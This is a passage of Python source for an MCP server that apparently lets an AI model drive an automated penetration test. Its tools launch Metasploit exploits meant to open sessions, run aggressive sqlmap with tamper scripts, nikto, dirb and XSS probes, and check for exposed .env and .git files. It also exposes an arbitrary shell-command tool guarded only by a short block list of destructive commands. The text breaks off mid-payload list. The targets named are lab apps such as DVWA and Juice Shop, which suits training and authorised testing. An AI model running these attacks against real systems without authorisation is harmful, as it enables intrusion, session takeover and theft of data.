if needs_lhost and payload:
cmds += [f"set PAYLOAD {payload}", f"set LHOST {lhost}", f"set LPORT {lport}"]
cmds += ["set ExitOnSession false", "run -j -z", f"sleep {min(timeout, 30)}", "sessions -l", "exit -y"]
msf_out = _run_cmd(f"msfconsole -q -x '{'; '.join(cmds)}' 2>&1", timeout=timeout + 15)
return {
"step": 5, "target": target, "port": port, "module": module,
"payload": payload if needs_lhost else "none (bind/backdoor)",
"lhost": lhost if needs_lhost else "N/A",
"msf_output": msf_out,
"session_opened": "session" in msf_out.lower() and "opened" in msf_out.lower(),
"next_step": "Document evidence. Run step6_web_scan for HTTP ports.",
}
@mcp.tool()
def step6_web_scan(
target: str, port: int = 80,
tools: str = "headers,nikto,dirb,sqlmap",
ssl: bool = False,
) -> dict:
"""
STEP 6 - Web application scanning.
Args:
target: IP or hostname
port: HTTP port (80, 443, 8080, 8180 etc.)
tools: comma-separated: headers, nikto, dirb, sqlmap, xss, wpscan
ssl: True for HTTPS
"""
scheme = "https" if (ssl or port in (443, 8443)) else "http"
url = f"{scheme}://{target}:{port}/"
toolset = {t.strip() for t in tools.split(",")}
out_map: dict = {}
if "headers" in toolset:
out_map["6a_headers"] = {"raw": _run_cmd(f"curl -sk -I --max-time 10 {url} 2>&1 | head -60", timeout=15)}
if "nikto" in toolset:
out_map["6b_nikto"] = {"raw": _run_cmd(f"nikto -h {target} -p {port} {'-ssl' if ssl else ''} -nointeractive -maxtime 120 2>&1", timeout=150)}
if "dirb" in toolset:
out_map["6c_dirb"] = {"raw": _run_cmd(f"dirb {url} /usr/share/dirb/wordlists/common.txt -S -r 2>&1", timeout=180)}
if "sqlmap" in toolset:
out_map["6d_sqlmap"] = {"raw": _run_cmd(
f"sqlmap -u {url} --batch --crawl=2 --level=3 --risk=2 "
f"--forms --smart --timeout=15 --technique=BEUSTQ --dbs --banner 2>&1 | tail -60", timeout=180)}
if "xss" in toolset:
out_map["6e_xss"] = {"raw": _run_cmd(f"dalfox url {url} --silence 2>&1", timeout=60)}
if "wpscan" in toolset:
wp = _run_cmd(f"curl -sk {url} | grep -i 'wp-content' | head -3", timeout=10)
out_map["6f_wpscan"] = {"raw": (_run_cmd(f"wpscan --url {url} --enumerate vp,vt,u --no-banner 2>&1", timeout=180)
if wp.strip() else "WordPress not detected")}
return {"step": 6, "target": target, "port": port, "url": url, "results": out_map,
"next_step": "Remove false positives. Then call step7_get_report_data."}
@mcp.tool()
def step7_get_report_data(target: str) -> dict:
"""
STEP 7 - Gather all scan data for final pentest report.
Claude writes: Executive Summary, Findings table, Exploit evidence,
Remediation commands, OWASP Top 10 + CWE mapping.
"""
results = _get("/api/results", timeout=30)
all_cves = results.get("all_cves", {})
flat_cves = sorted(
[dict(**c, _key=k) for k, cvs in all_cves.items() for c in (cvs or [])],
key=lambda c: c.get("score") or 0, reverse=True)
exploits = results.get("exploits", [])
sessions = [e for e in exploits if e.get("session_opened")]
svcs = results.get("services", [])
critical = [s for s in svcs if s.get("risk_level") == "CRITICAL"]
high_cves = [c for c in flat_cves if (c.get("score") or 0) >= 7.0]
risk = min(10.0, 3.0 + len(critical)*1.5 + min(len(high_cves),3)*0.5 + len(sessions)*2.0)
return {
"step": 7, "target": target,
"os_detected": results.get("os_name", "Unknown"),
"risk_score": round(risk, 1),
"services": svcs, "total_open_ports": len(svcs),
"nse_findings": results.get("nse_findings", {}),
"all_cves_flat": flat_cves[:30], "total_cves": len(flat_cves),
"critical_cves": [c for c in flat_cves if (c.get("score") or 0) >= 9.0],
"exploits_attempted": exploits, "sessions_opened": sessions,
"web_results": results.get("web_results", {}),
"remediation_plan": results.get("remediation_plan", []),
"html_report_url": f"{APP_URL}/api/report/html",
"claude_task": (
"Write pentest report: 1) Executive Summary, 2) Findings table "
"(CVE/CVSS/severity/evidence), 3) Exploit evidence, "
"4) Remediation commands, 5) OWASP Top10+CWE mapping."
),
}
# ===========================================================================
# UTILITY TOOLS
# ===========================================================================
@mcp.tool()
def scan_status() -> dict:
"""Check current scan progress and recent log lines."""
st = _get("/api/status")
raw = _get("/api/logs")
logs = (raw if isinstance(raw, list)
else raw.get("logs") or raw.get("lines") or []
if isinstance(raw, dict) else [])
return {"running": st.get("running", False), "progress": st.get("progress", 0),
"phase": st.get("phase", ""), "recent_logs": logs[-15:]}
@mcp.tool()
def stop_scan() -> dict:
"""Stop the currently running scan."""
return _post("/api/stop", {})
@mcp.tool()
def health() -> dict:
"""Check Docker engine reachability and list available scan sessions."""
caps = _get("/api/capabilities", timeout=5)
return {
"engine_url": APP_URL, "reachable": "error" not in caps,
"capabilities": caps, "lhost": _auto_lhost(),
"results_dir": str(RESULTS_DIR),
"sessions_available": len(list(RESULTS_DIR.glob("*/"))) if RESULTS_DIR.exists() else 0,
"tip": (
"If reachable=false: docker compose up -d (in Practical_V2.1 folder). "
"Insight tools (list_scan_sessions etc.) work without Docker."
),
}
@mcp.tool()
def run_shell_command(command: str, timeout: int = 30) -> dict:
"""
Run a shell command inside the Docker container.
Args:
command: e.g. nmap -sV 10.x.x.x -p 80
timeout: max seconds
"""
for blocked in ["rm -rf /", "mkfs", "shutdown", "reboot"]:
if blocked in command:
return {"error": f"Blocked: {blocked}"}
return {"command": command, "output": _run_cmd(command, timeout=timeout)}
# ===========================================================================
# WEB APPLICATION AUTO-DETECTION & KB TOOLS
# ===========================================================================
@mcp.tool(
name="webapp_detect",
annotations={"title": "Auto-Detect Web Applications", "readOnlyHint": True,
"destructiveHint": False, "idempotentHint": True, "openWorldHint": True},
)
def webapp_detect(target: str, port: int = 80, ssl: bool = False) -> dict:
"""
SMART DETECTION — Probe a target to identify known vulnerable web applications.
Fetches the target's HTTP response and fingerprints it against the knowledge base
of 23 vulnerable applications (DVWA, Juice Shop, WebGoat, bWAPP, Metasploitable, etc).
Call this AUTOMATICALLY after step2_port_scan when HTTP ports (80, 443, 8080, 3000, etc)
are found. If a known app is detected, use webapp_get_vulns instead of relying solely
on automated scanners for accurate results.
Args:
target: IP or hostname
port: HTTP port to probe
ssl: True for HTTPS
"""
if not _HAS_WEBAPP_KB:
return {"error": "webapp_kb.py not found. Place it in /app/."}
scheme = "https" if (ssl or port in (443, 8443)) else "http"
url = f"{scheme}://{target}:{port}/"
# Fetch HTTP response for fingerprinting
http_body = ""
http_headers = {}
try:
http_body = _docker_cmd(
f"curl -sk --max-time 10 {url} 2>/dev/null",
timeout=15
)
except Exception:
pass
try:
raw_headers = _docker_cmd(
f"curl -skI --max-time 5 {url} 2>/dev/null",
timeout=10
)
for line in raw_headers.splitlines():
if ":" in line:
k, v = line.split(":", 1)
http_headers[k.strip()] = v.strip()
except Exception:
pass
# Also probe known paths to improve detection
extra_probes = ""
probe_paths = [
"/dvwa/", "/WebGoat/", "/bWAPP/", "/mutillidae/",
"/api/Challenges/", "/rest/admin/application-version",
"/graphql", "/graphiql", "/wp-login.php", "/xvwa/",
"/users/v1", "/createdb", "/ftp/", "/api-docs/",
"/WackoPicko/", "/pixi/", "/api/v1/",
"/Hackademic_RTB1/", "/drupal/", "/twiki/",
]
for path in probe_paths:
try:
resp = _docker_cmd(
f"curl -sk --max-time 3 -o /dev/null -w '%{{http_code}}' {scheme}://{target}:{port}{path} 2>/dev/null",
timeout=8
)
if resp.strip() in ("200", "301", "302", "401", "403"):
extra_probes += f" {path}"
except Exception:
pass
# Get services from current scan if available
services = []
try:
results = _get("/api/results")
services = results.get("services", [])
except Exception:
pass
combined_response = http_body + extra_probes
detections = fingerprint_webapp(
target=target, port=port,
http_response=combined_response,
http_headers=http_headers,
services=services,
)
if not detections:
return {
"detected": False,
"message": f"No known vulnerable application detected at {url}",
"hint": "Target may be a custom app. Use step6_web_scan for generic scanning.",
"supported_apps": get_all_app_ids(),
}
results_list = []
for d in detections:
app_data = get_app_info(d.app_id)
vuln_count = len(app_data.get("vulnerabilities", []))
auth = app_data.get("auth", {})
results_list.append({
"app_id": d.app_id,
"app_name": d.app_name,
"confidence": round(d.confidence, 2),
"category": d.category,
"vulnerability_count": vuln_count,
"has_default_credentials": bool(auth),
"default_creds": f"{auth.get('username', '')}:{auth.get('password', '')}" if auth else "N/A",
})
return {
"detected": True,
"target": target,
"port": port,
"url": url,
"detections": results_list,
"primary_app": results_list[0] if results_list else None,
"mode": "webapp_kb",
"next_step": (
"Known application detected! Call webapp_get_vulns with the app_id "
"for 100% accurate verified vulnerabilities. These are MORE reliable "
"than automated scanner results for known vulnerable machines."
),
}
@mcp.tool(
name="webapp_get_vulns",
annotations={"title": "Get Verified Web App Vulnerabilities", "readOnlyHint": True,
"destructiveHint": False, "idempotentHint": True, "openWorldHint": False},
)
def webapp_get_vulns(app_id: str, target: str = "", port: int = 80,
severity_filter: str = "", owasp_filter: str = "") -> dict:
"""
Return VERIFIED vulnerabilities for a detected web application from the
knowledge base. These are 100% accurate, pre-validated findings with
OWASP Top 10 mapping, CWE IDs, evidence, and remediation steps.
Use after webapp_detect identifies a known application.
Args:
app_id: Application ID from webapp_detect (e.g. 'dvwa', 'juice_shop')
target: Target IP (for path construction)
port: Target port
severity_filter: CRITICAL / HIGH / MEDIUM / LOW
owasp_filter: e.g. 'A03:2021' to filter by OWASP category
"""
if not _HAS_WEBAPP_KB:
return {"error": "webapp_kb.py not found."}
app_data = get_app_info(app_id)
if not app_data:
return {
"error": f"Unknown app_id: {app_id}",
"available_apps": get_all_app_ids(),
}
vulns = get_verified_vulns(app_id)
auth = get_auth_info(app_id)
# Apply filters
if severity_filter:
sf = severity_filter.upper()
vulns = [v for v in vulns if v.get("severity", "").upper() == sf]
if owasp_filter:
vulns = [v for v in vulns if owasp_filter.lower() in v.get("owasp", "").lower()]
# Build full URLs for paths
scheme = "https" if port in (443, 8443) else "http"
base_url = f"{scheme}://{target}:{port}" if target else ""
formatted_vulns = []
for v in vulns:
fv = dict(v)
if base_url and not v.get("path", "").startswith("port:"):
fv["full_url"] = f"{base_url}{v['path']}"
formatted_vulns.append(fv)
# Summary stats
crit = sum(1 for v in formatted_vulns if v.get("severity") == "CRITICAL")
high = sum(1 for v in formatted_vulns if v.get("severity") == "HIGH")
med = sum(1 for v in formatted_vulns if v.get("severity") == "MEDIUM")
low = sum(1 for v in formatted_vulns if v.get("severity") == "LOW")
# OWASP category breakdown
owasp_cats = {}
for v in formatted_vulns:
cat = v.get("owasp", "N/A")
owasp_cats[cat] = owasp_cats.get(cat, 0) + 1
return {
"app_id": app_id,
"app_name": app_data["name"],
"category": app_data.get("category", "web_app"),
"target": target,
"port": port,
"default_credentials": auth if auth else "None",
"total_vulnerabilities": len(formatted_vulns),
"severity_breakdown": {
"CRITICAL": crit, "HIGH": high, "MEDIUM": med, "LOW": low,
},
"owasp_breakdown": owasp_cats,
"vulnerabilities": formatted_vulns,
"scan_paths": get_scan_paths(app_id),
"source": "PentestChain Knowledge Base (verified)",
"accuracy": "100% — these are known, verified vulnerabilities for this application",
"next_step": (
"Include these verified findings in the pentest report. "
"You can also run step6_web_scan for additional automated findings, "
"but KB results are authoritative for known apps."
),
}
@mcp.tool(
name="webapp_list_supported",
annotations={"title": "List Supported Vulnerable Applications", "readOnlyHint": True,
"destructiveHint": False, "idempotentHint": True, "openWorldHint": False},
)
def webapp_list_supported() -> dict:
"""
List all vulnerable applications supported by the knowledge base.
Shows app names, categories, and vulnerability counts.
"""
if not _HAS_WEBAPP_KB:
return {"error": "webapp_kb.py not found."}
apps = []
for app_id in get_all_app_ids():
app_data = get_app_info(app_id)
vulns = app_data.get("vulnerabilities", [])
apps.append({
"app_id": app_id,
"name": app_data.get("name", app_id),
"category": app_data.get("category", "web_app"),
"vulnerability_count": len(vulns),
"has_auth": bool(app_data.get("auth")),
"severity_counts": {
"CRITICAL": sum(1 for v in vulns if v.get("severity") == "CRITICAL"),
"HIGH": sum(1 for v in vulns if v.get("severity") == "HIGH"),
"MEDIUM": sum(1 for v in vulns if v.get("severity") == "MEDIUM"),
"LOW": sum(1 for v in vulns if v.get("severity") == "LOW"),
},
})
total_vulns = sum(a["vulnerability_count"] for a in apps)
web_apps = [a for a in apps if a["category"] == "web_app"]
ctf_machines = [a for a in apps if a["category"] == "ctf_machine"]
return {
"total_applications": len(apps),
"total_verified_vulnerabilities": total_vulns,
"web_applications": web_apps,
"ctf_machines": ctf_machines,
"usage": (
"Run webapp_detect on a target to auto-identify known apps. "
"Then use webapp_get_vulns for verified vulnerability data."
),
}
@mcp.tool(
name="step6_web_scan_enhanced",
annotations={"title": "Enhanced Web Scan with Auto-Detection + OWASP Full Suite",
"readOnlyHint": True, "destructiveHint": False,
"idempotentHint": False, "openWorldHint": True},
)
def step6_web_scan_enhanced(
target: str, port: int = 80,
tools: str = "detect,headers,nikto,dirb,sqlmap,idor,csrf,ssrf,xxe,lfi,rce,cors,redirect,auth,upload,jwt,deserialization,headers_inject,crlf,clickjack,xss,owasp",
ssl: bool = False,
) -> dict:
"""
ENHANCED STEP 6 — Comprehensive web application security scan.
First auto-detects known vulnerable apps (DVWA, Juice Shop, WebGoat, etc.)
and returns 100% verified vulnerabilities from the KB. Then runs a full
OWASP Top 10 scan suite covering:
- SQL Injection (sqlmap with deep crawl + auth-aware)
- XSS (reflected, stored, DOM — dalfox + manual probes)
- IDOR (Insecure Direct Object Reference — ID enumeration)
- CSRF (missing tokens on state-changing forms)
- SSRF (Server-Side Request Forgery — URL parameter probing)
- XXE (XML External Entity injection)
- LFI/RFI (Local/Remote File Inclusion + Path Traversal)
- RCE (Remote Code Execution — command injection probes)
- CORS misconfiguration
- Open Redirect
- Authentication bypass probes
- File Upload vulnerabilities
- JWT weaknesses
- Insecure Deserialization indicators
- HTTP Header Injection / CRLF
- Clickjacking (X-Frame-Options)
- Security header analysis
- Sensitive file/directory exposure
- WordPress-specific (wpscan)
Args:
target: IP or hostname
port: HTTP port (80, 443, 8080, 3000, etc.)
tools: comma-separated list of scan modules to run (default: all)
ssl: True for HTTPS
"""
scheme = "https" if (ssl or port in (443, 8443)) else "http"
url = f"{scheme}://{target}:{port}/"
toolset = {t.strip().lower() for t in tools.split(",")}
out_map = {}
kb_results = None
findings = [] # Consolidated findings list
def _curl(curl_url, extra="", timeout_s=10):
return _run_cmd(
f"curl -sk --max-time {timeout_s} {extra} '{curl_url}' 2>&1",
timeout=timeout_s + 5
)
def _curl_code(curl_url, extra=""):
return _run_cmd(
f"curl -sk -o /dev/null -w '%{{http_code}}' --max-time 5 {extra} '{curl_url}' 2>&1",
timeout=10
).strip()
def _curl_headers(curl_url):
return _run_cmd(
f"curl -sk -I --max-time 5 '{curl_url}' 2>&1",
timeout=10
)
def add_finding(category, severity, title, detail, evidence="", owasp="", cwe="", cvss=0.0):
findings.append({
"category": category, "severity": severity, "title": title,
"detail": detail, "evidence": evidence, "owasp": owasp,
"cwe": cwe, "cvss": cvss, "source": "PentestChain-Scanner",
})
# ══════════════════════════════════════════════════════════════════════
# 0. AUTO-DETECTION — identify known vulnerable apps
# ══════════════════════════════════════════════════════════════════════
if "detect" in toolset and _HAS_WEBAPP_KB:
det_result = webapp_detect(target=target, port=port, ssl=ssl)
out_map["0_webapp_detection"] = det_result
if det_result.get("detected"):
primary = det_result["detections"][0]
app_id = primary["app_id"]
kb_result = webapp_get_vulns(app_id=app_id, target=target, port=port)
out_map["0_kb_verified_vulns"] = kb_result
kb_results = kb_result
# ══════════════════════════════════════════════════════════════════════
# 1. SECURITY HEADERS ANALYSIS (A05:2021)
# ══════════════════════════════════════════════════════════════════════
if "headers" in toolset:
raw_headers = _curl_headers(url)
out_map["6a_headers"] = {"raw": raw_headers}
security_headers = {
"X-Frame-Options": {"missing_severity": "MEDIUM", "cvss": 4.3,
"issue": "Clickjacking possible - page can be embedded in iframe",
"owasp": "A05:2021 Security Misconfiguration", "cwe": "CWE-1021"},
"X-Content-Type-Options": {"missing_severity": "LOW", "cvss": 3.1,
"issue": "MIME-sniffing attacks possible",
"owasp": "A05:2021 Security Misconfiguration", "cwe": "CWE-16"},
"Content-Security-Policy": {"missing_severity": "MEDIUM", "cvss": 5.4,
"issue": "No CSP - XSS impact amplified, no script source restriction",
"owasp": "A05:2021 Security Misconfiguration", "cwe": "CWE-693"},
"Strict-Transport-Security": {"missing_severity": "MEDIUM", "cvss": 4.8,
"issue": "No HSTS - SSL stripping attacks possible",
"owasp": "A02:2021 Cryptographic Failures", "cwe": "CWE-319"},
"X-XSS-Protection": {"missing_severity": "LOW", "cvss": 3.1,
"issue": "Legacy XSS filter not enabled",
"owasp": "A05:2021 Security Misconfiguration", "cwe": "CWE-79"},
"Referrer-Policy": {"missing_severity": "LOW", "cvss": 2.6,
"issue": "Referrer leakage - sensitive URL parameters exposed to third parties",
"owasp": "A05:2021 Security Misconfiguration", "cwe": "CWE-200"},
"Permissions-Policy": {"missing_severity": "LOW", "cvss": 2.6,
"issue": "No Permissions-Policy - browser features unrestricted",
"owasp": "A05:2021 Security Misconfiguration", "cwe": "CWE-16"},
}
hl = raw_headers.lower()
for hdr, info in security_headers.items():
if hdr.lower() not in hl:
add_finding("Security Headers", info["missing_severity"],
f"Missing {hdr}", info["issue"],
evidence=f"Header '{hdr}' not present in response",
owasp=info["owasp"], cwe=info["cwe"], cvss=info["cvss"])
# Check for dangerous headers exposed
for danger in ["Server", "X-Powered-By", "X-AspNet-Version", "X-AspNetMvc-Version"]:
if danger.lower() in hl:
for line in raw_headers.splitlines():
if danger.lower() in line.lower():
add_finding("Information Disclosure", "LOW",
f"Server Technology Exposed: {danger}",
f"Header reveals technology stack: {line.strip()}",
evidence=line.strip(),
owasp="A05:2021 Security Misconfiguration", cwe="CWE-200", cvss=2.6)
break
# Cookie security
for line in raw_headers.splitlines():
if "set-cookie" in line.lower():
cookie_line = line.strip()
issues = []
if "httponly" not in cookie_line.lower():
issues.append("Missing HttpOnly flag - cookie accessible via JavaScript (XSS theft)")
if "secure" not in cookie_line.lower():
issues.append("Missing Secure flag - cookie sent over unencrypted HTTP")
if "samesite" not in cookie_line.lower():
issues.append("Missing SameSite flag - CSRF via cross-site requests possible")
for iss in issues:
add_finding("Cookie Security", "MEDIUM",
f"Insecure Cookie Configuration",
iss, evidence=cookie_line,
owasp="A05:2021 Security Misconfiguration", cwe="CWE-614", cvss=4.3)
# ══════════════════════════════════════════════════════════════════════
# 2. NIKTO (comprehensive web server scanner)
# ══════════════════════════════════════════════════════════════════════
if "nikto" in toolset:
out_map["6b_nikto"] = {
"raw": _run_cmd(
f"nikto -h {target} -p {port} {'-ssl' if ssl else ''} "
f"-nointeractive -maxtime 120 -Tuning x6789 2>&1",
timeout=150)
}
# ══════════════════════════════════════════════════════════════════════
# 3. DIRECTORY/FILE DISCOVERY (A01:2021)
# ══════════════════════════════════════════════════════════════════════
if "dirb" in toolset:
out_map["6c_dirb"] = {
"raw": _run_cmd(
f"dirb {url} /usr/share/dirb/wordlists/common.txt -S -r 2>&1",
timeout=180)
}
# Check sensitive files and directories
sensitive_paths = [
("/.env", "Environment file with secrets/credentials"),
("/.git/config", "Git repository exposed - source code leak"),
("/.git/HEAD", "Git repository exposed - source code leak"),
("/.svn/entries", "SVN repository exposed"),
("/backup/", "Backup directory accessible"),
("/backups/", "Backup directory accessible"),
("/db/", "Database directory accessible"),
("/database/", "Database directory accessible"),
("/config.php", "PHP configuration file exposed"),
("/config.yml", "YAML configuration exposed"),
("/config.json", "JSON configuration exposed"),
("/wp-config.php.bak", "WordPress config backup with DB credentials"),
("/phpinfo.php", "PHP info page exposes server configuration"),
("/server-status", "Apache server-status page exposed"),
("/server-info", "Apache server-info page exposed"),
("/elmah.axd", ".NET error log exposed"),
("/trace.axd", ".NET trace log exposed"),
("/.DS_Store", "macOS metadata file exposes directory structure"),
("/web.config", "IIS web.config may contain connection strings"),
("/crossdomain.xml", "Flash crossdomain policy - potential CSRF"),
("/clientaccesspolicy.xml", "Silverlight access policy"),
("/api/swagger.json", "API documentation exposed"),
("/swagger-ui.html", "Swagger UI exposed"),
("/api-docs/", "API documentation exposed"),
("/.well-known/openid-configuration", "OpenID config exposed"),
("/actuator/health", "Spring Boot actuator exposed"),
("/actuator/env", "Spring Boot environment variables exposed"),
("/console", "Debug console exposed (e.g., Werkzeug, H2)"),
("/debug/", "Debug interface exposed"),
("/admin/", "Admin panel accessible"),
("/administrator/", "Admin panel accessible"),
("/phpmyadmin/", "phpMyAdmin database admin exposed"),
]
sensitive_found = []
for spath, desc in sensitive_paths:
code = _curl_code(f"{scheme}://{target}:{port}{spath}")
if code in ("200", "301", "302", "401", "403"):
sev = "HIGH" if any(k in spath for k in [".env", ".git", "config", "backup", "phpinfo", "actuator/env", "console"]) else "MEDIUM"
add_finding("Sensitive File Exposure", sev,
f"Accessible: {spath}", desc,
evidence=f"HTTP {code} returned for {spath}",
owasp="A01:2021 Broken Access Control", cwe="CWE-538",
cvss=7.5 if sev == "HIGH" else 5.3)
sensitive_found.append({"path": spath, "status": code, "description": desc})
out_map["6c2_sensitive_files"] = sensitive_found
# ══════════════════════════════════════════════════════════════════════
# 4. SQL INJECTION (A03:2021)
# ══════════════════════════════════════════════════════════════════════
if "sqlmap" in toolset:
cookie_flag = ""
if kb_results and _HAS_WEBAPP_KB:
det_apps = out_map.get("0_webapp_detection", {}).get("detections", [])
if det_apps:
app_id = det_apps[0].get("app_id", "")
auth = get_auth_info(app_id)
if auth and app_id == "dvwa":
cookie_flag = "--cookie='PHPSESSID=dummy; security=low'"
out_map["6d_sqlmap"] = {
"raw": _run_cmd(
f"sqlmap -u {url} --batch --crawl=5 --level=5 --risk=3 "
f"--forms --smart --timeout=15 --technique=BEUSTQ "
f"--tamper=space2comment,between "
f"--dbs --banner --threads=3 "
f"{cookie_flag} 2>&1 | tail -100",
timeout=240)
}
# ══════════════════════════════════════════════════════════════════════
# 5. XSS — Cross-Site Scripting (A03:2021)
# ══════════════════════════════════════════════════════════════════════
if "xss" in toolset:
xss_results = {}
# Dalfox automated scan
xss_results["dalfox"] = _run_cmd(f"dalfox url {url} --silence 2>&1", timeout=60)
# Manual XSS probes on common parameters
xss_payloads = [
"",
"img_onerror_xss_test",
"javascript:alert(1)",
"